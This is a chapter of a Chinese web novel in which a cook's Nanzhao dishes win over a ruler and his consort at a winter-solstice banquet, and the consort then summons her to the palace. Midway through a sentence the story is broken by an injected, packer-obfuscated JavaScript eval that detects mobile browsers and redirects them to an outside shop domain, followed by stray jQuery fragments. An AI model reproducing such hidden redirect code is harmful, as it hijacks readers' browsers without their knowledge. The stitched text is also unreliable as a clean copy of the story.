今日,是张妄入主京城后第一个大节。
下头的人跑断腿的忙活,生怕这头一次的冬至宴会出什么差错。
这其中,最担惊受怕的就是现在宫里的太监头儿——石年。
他这辈子就没见过比张妄更难伺候的主儿!
就说今日这宴会吧,规格都快赶上皇帝登基了,可他还是一脸淡淡的,就拉着云妃冷眼看着。
“没意思。”张妄靠在龙椅上,面无表情把玩着手里握着的柔荑。
石年腿一软,屏住呼吸,硬着头皮说道:“王上,还有一支南诏的献舞。”
张妄双眉一沉,正要开口。
“南诏?”他身侧的绝色美人双目微亮,“真是南诏来的?”
“奴婢不敢胡说。”
张妄看了一眼身侧的爱妃,只见她满脸的欢喜。
“行,那就看看吧。”
石年暗松了半口气,笼在袖中的手紧捏着。
王府尹,您可别坑咱家啊!
咚,咚。
两声低沉的鼓声响起,数百名乐师持着各色乐器齐齐弹奏。
乐声和在一起,极有异域风情。
云妃望着下方的乐师舞人,目光凝滞,喃喃道:“是南诏奉圣乐……”
张妄听罢,面上这才露出一分笑。
片刻后,乐声暂歇,身着华丽的舞人退场。
“嗯?”云妃眉头轻皱,“就结束了吗?”
话音刚落,数名强壮的男子拖捧着大盘旋舞而来,舞步姿态繁多,苍劲有力,乐声也激昂起来。
张妄直起身,唇角扬起。
“有意思?这是什么?端着菜跳舞?”
不等石年回答,云妃便说道:“南诏的跳菜,是当地最隆重的礼仪,只有祭祀和招待贵客宴席上才会出现。”
石年微微一愣,旋即附和道:“云妃娘娘见多识广。这正是献舞的南诏人对王上的拜服之心啊。”
正说着,两名舞者已经到了张妄的桌前。
二人弯下腰,奉上菜品。
菜色不多,只有八样,瞧着全没有宫中的精致,但别有南诏风味。
兵家有云,“不战而屈人之兵,善之善也。”。
对于从小熟读兵书,又征战沙场多年的张妄而言,此刻的乐舞食给了他这样的错觉。
他拊掌:“赏!”
石年立即带头谢恩。
“王上如天之德!”
虽说这菜色满足了张妄的虚荣心,但他并未动筷,只含笑垂眸瞧着云妃。
云妃将每个菜色都尝了个遍,两人的分量少了一半都还未停。
她是饭量不大的人。
张妄不由好奇——有这么好吃吗?
他随手端起手边一碗酒酿浮元子,轻尝一口。
嗯?这黄色的丝不是鸡蛋?口感柔韧微脆,带着微酸的奶香。
“这是什么?”
云妃放下勺子:“王上,这是南诏的特色,牛乳做的乳扇。”
她笑着给他夹了一筷子鱼。
“王上爱吃鱼,尝尝这个,这个里面加了南诏的特色香料毛菇。”
张妄本就被这新奇味道勾起了兴趣,自然不会推辞。
“不错!鱼片嫩滑,滋味独特。像胡椒,但比胡椒复杂。”
这下不需要云妃劝,张妄自己个儿就将剩下的菜都给吃了个干净。
一旁的石年看得直吞口水。
虽然前几日已经尝过,可这味实在是让人回味啊!
张妄放下筷子:“重赏这几个厨子。”
“奴婢替他们谢过王上恩德,能让王上满意,是他们的福气。”石年趁机道,“不过还有一人,当居首功。”
“谁?”
“王府尹,这次的食方和乐师舞人都是王府尹找来的。”
“也赏也赏。”
云妃问道:“食方是王府尹在哪儿找来的?”
此事事关重大,其中细节石年自然是知晓的一清二楚。
“京城有家糕铺的店家献上的。”
“王上!”云妃扯着张妄的袖子,“能否让妾见见这位店家?”
张妄怔了怔。
“一个卖糕的,见他做甚?”
“王上……妾好奇嘛。”云妃拉着他直撒娇。
张妄对她向来有求必应。
“行行行,待会儿回宫就召那卖糕的来。”
……
此时的万顺意刚刚吃了午食,一家四口正坐在厅内围着炉子烤火。
万顺意一边打络子,一边念叨着。
“今儿正午就是冬至宫宴,最快下午最迟明日,赏钱就能下来,不知道会有多少赏钱呢……”
她很自信,自己的主意一定能讨张妄高兴。
杨茂忍不住泼冷水。
“宫中赏赐都是有规制的,最多也不超过二十两。”
“啊?”万顺意手一滑,手里的线瞬间乱成一团,“怎么少吗?不会吧?!”
难不成一个皇帝能当着那么多人的面说“赏赐十两银子”这种听起来就小气吧啦的话吗?
杨茂说道:“宫中赏赐,一般情况下,只会说赏,重赏,然后下头的人按规矩办事。”
宋喜娘捂着嘴笑。
“小娘子以为像是戏里演的,动不动上黄金白两纹银千两吗?”
万顺意捂脸:“一百两银子也行啊……”
江遂目光从杨茂二人脸上掠过,落在万顺意身上。
他弯起眼。
“小娘子就当是帮了魏坊正的忙。”
万顺意放下双手,整张脸都皱成了一团。
“你的意思就是赏银真的很少。”
她这样实在有趣,江遂抿了抿嘴唇:“朝廷抚恤年老者,九十岁以上的也不过三两银子左右……”
万顺意倒抽一口气,捂住心口。
“算了算了,当是帮忙。”
宋喜娘宽慰道:“不还有牛乳吃吗?也很划算了。”
万顺意想到剩下的牛乳,心痛逐渐平复。
“明日就吃酥山、八宝甜酪、奶卷、乳饼……”
正数得兴起之时,门外响起了急促的敲门声。
“万小娘子!”
万顺意一听是魏坊正的声音,吓了一跳。
“这么快呀!”她小跑着开了门。
魏坊正站在门外,喘气如牛。
“快,快,准备准备,王上要召见你!”
万顺意傻眼了,愣在原地。
“什么?”
“王上和云妃要见你!”
得了消息,宋喜娘立即拉了万顺意去屋里换衣梳妆,又细细和她讲了宫里的规矩。
万顺意脑子还没反应过来,任凭宋喜娘给她梳着头发。
“宫里见我做什么?”
宋喜娘眉头紧皱,手下的动作却没有一点停顿。
“确实古怪,按理说,再满意也就多些赏赐。小娘子谨慎为先。”
万顺意心里发慌,手指尖都在发抖。
“早知道就不掺和了……”
好好的,谁家王上和宠妃会召见一个献食方的厨子,这次进宫,到底是福是祸,完全不可知。
宋喜娘也是如此想,但她不能再说出口。
“小娘子别怕,或许只是云妃一时兴起?听说云妃是舞女出身,不像贵女那般讲规矩。”
万顺意一咬牙,看着镜子,努力挤出一个标准的笑。
事到临头,怕也没用!
她起身踏出了房门。
门口,江遂持着一把伞,朝她走来。
“我陪你一起。”
万顺意悬着的心像是找到了一个可以落下的点。
“嗯。”
……
魏坊正带着二人坐马车到了皇城口。
路上他极尽宽慰,说张妄对跳菜十分满意,说了重赏,是云妃提出要召见她。
“王上身边的石公公和府尹关系密切,他递了话,云妃性子宽厚,你放心跟着内侍进去便是。”
江遂说道:“云妃出身南诏,离乡多年,或许她以为你也是南诏人,才想见你。”
这话还真是合情合理。
万顺意的心终于定了下来。
到了宫门口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615406|204173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,魏坊正将她交到了一个笑面小内侍手上,又是嘱咐又是塞钱。
小内侍笑吟吟的。
“万小娘子不必担忧,云妃娘娘是观世音转世,菩萨的仁性,就是想要见见你罢了。”
万顺意作揖:“一切仰仗您了。”
“客气。”小内侍抬手引路,“请,王上和娘娘在寝殿等着您呢。”
万顺意回头看了一眼二人。
江遂一出门,就把风领拉起,遮住了半张脸,但万顺意能看得出这时候的他,肯定是翘着嘴角的。
他指着不远处的茶摊。
“等你。”
万顺意飞快转过头,低低“嗯”了一声,随着内侍朝宫内走去。
或许是太紧张,她的心跳得扑通扑通的。
行了快半个时辰,才到了寝殿。
小内侍带着她走进去,小声嘱咐:“记住,王上和娘娘不让你抬头,你就埋着脑袋回话,见礼的时候跟着我行礼。”
万顺意应了声,像个木偶似的跟着小内侍下跪行礼。
手掌接触到地面,是暖暖的。
这宫里可真不错,还有“地暖”!
“免礼。”是一道极动听的女声,像是凌晨鸟啼一般动听,但又比鸟啼更柔和。
光听声音就是个美人啊!
万顺意缓缓站起身。
“你把头抬起来。”云妃说道。
她小心翼翼抬起头。
这一抬头,就撞入了一幅美人画中。
此时,她真想借用尹志平那厮的台词——世上竟有如此出尘绝艳之女子。
明明身着宫装头戴金饰,却没有半点儿世俗气,像个仙女。
“这么小?”张妄忽的出声,锋利如刀的目光落在万顺意身上,“那些食方都是你的手笔?”
万顺意这才看清了他的模样。
三十出头,很年轻,壮得像一头老虎,但样貌还很英挺,算是个帅哥,就是……满脸煞气,简直像个凶神转世。
她干笑着。
“民女不过是拾人牙慧,这些都是南诏特色菜。”
“你是南诏人吗?”云妃对她眨了眨眼,目光满是期待。
难道还真让江舒说中了?
“民女不是南诏人,只是曾经去过南诏,这些菜都是在南诏的时候跟本地人学的。”
云妃目光黯了黯,嘴唇动了动。
“不是啊……”失落不过一刻,她扬起笑,“南诏现在是什么样的呢?”
万顺意就上辈子去过云南,只能瞎编。
“烟波浮翠,苍山负雪,美如画卷。”
夸南诏漂亮肯定没错!
云妃听了这话,果然嫣然一笑。
“是很美,但你们外地人不知晓,南诏最美的是花,四季不断。核桃花炒腊肉,石斛花能煲汤凉拌,金雀花煎蛋……”
万顺意顺着道:“是呢,南诏的花不仅美,还能吃。那金雀花煎蛋最是清甜鲜嫩,民女头一次吃的时候都吓了一跳了,没想到花入菜能那般美味。可惜,在外头吃不到那么好的花。”
云妃年幼就离了南诏,没遇到谁懂吃花的乐趣,听了万顺意的话,像是找着了知己似的。
“方才就不知该赏你些什么,如今你这一说,我便赏你些厨房里存着的花吧。”
万顺意方才话都是真心的,一听要赏花钱都弄不来的花,比给她银子还让人高兴。
“民女多谢娘娘赏赐!”
这一趟太值了,不仅见到了美人还收获了美味!
这欢欣雀跃的样子让张妄失笑。
“还真该是个卖吃食的人!”
云妃只觉得万顺意性子纯净。
“王上也别想逃。”
张妄对那几样菜着实满意。
“石年,重赏。”
最终,万顺意提着一盒子云妃赏的鲜花饼出了宫。
至于其余的赏赐会由宫里的人明日送到家里。
这小内侍真是怪得很,到了门口不和她寒暄几句,就催着她赶快回去。
万顺意也不知他在急什么,作了个揖,脚步轻快朝茶摊上的江遂走去。